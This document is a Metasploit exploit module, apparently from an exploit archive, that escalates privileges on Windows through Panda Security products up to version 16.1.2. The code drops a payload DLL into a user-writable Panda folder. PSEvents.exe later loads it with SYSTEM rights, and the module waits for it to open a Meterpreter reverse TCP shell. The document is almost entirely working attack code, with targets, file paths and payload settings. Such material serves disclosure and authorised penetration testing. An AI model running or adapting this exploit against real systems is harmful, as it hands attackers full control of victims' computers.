Panda Security PSEvents Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::EXE  
include Exploit::FileDropper  
include Post::File  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Panda Security PSEvents Privilege Escalation',  
'Description' => %q{  
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.  
When run, it checks a user writable folder for certain DLL files, and if any are found  
they are automatically run.  
Vulnerable Products:  
Panda Global Protection 2016 (<=16.1.2)  
Panda Antivirus Pro 2016 (<=16.1.2)  
Panda Small Busines Protetion (<=16.1.2)  
Panda Internet Security 2016 (<=16.1.2)  
},  
'License' => MSF_LICENSE,  
'Author' => [  
"h00die <[email protected]>", # Module,  
'Security-Assessment.com' # discovery  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'payload' => 'windows/meterpreter/reverse_tcp',  
'exitfunc' => 'seh'  
},  
'References' => [  
[  
'EDB', '40020',  
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',  
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'  
]  
],  
'DisclosureDate'=> 'Jun 27 2016'  
))  
register_options(  
[  
OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',  
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),  
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),  
], self.class)  
end  
  
def get_path()  
case sysinfo['OS']  
when /Windows (7|8|10|2012|2008)/  
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'  
when /Windows (NT|XP)/  
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'  
end  
end  
  
def check  
if directory?(get_path())  
print_good('Vuln path exists')  
CheckCode::Appears  
else  
vprint_error("#{get_path()} doesn't exist on target")  
CheckCode::Safe  
end  
end  
  
def exploit  
vprint_status("OS Detected as: #{sysinfo['OS']}")  
  
payload_filepath = get_path()  
payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"  
upload_payload_dll(payload_filepath)  
  
# start the hour wait  
stime = Time.now.to_f  
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'  
print_status "Start Time: #{Time.now.to_s}"  
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f  
Rex.sleep(1)  
end  
end  
  
def upload_payload_dll(payload_filepath)  
payload = generate_payload_dll()  
print_status('Uploading the Payload DLL to the filesystem...')  
begin  
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")  
write_file(payload_filepath, payload)  
register_file_for_cleanup(payload_filepath)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")  
end  
end  
end  
`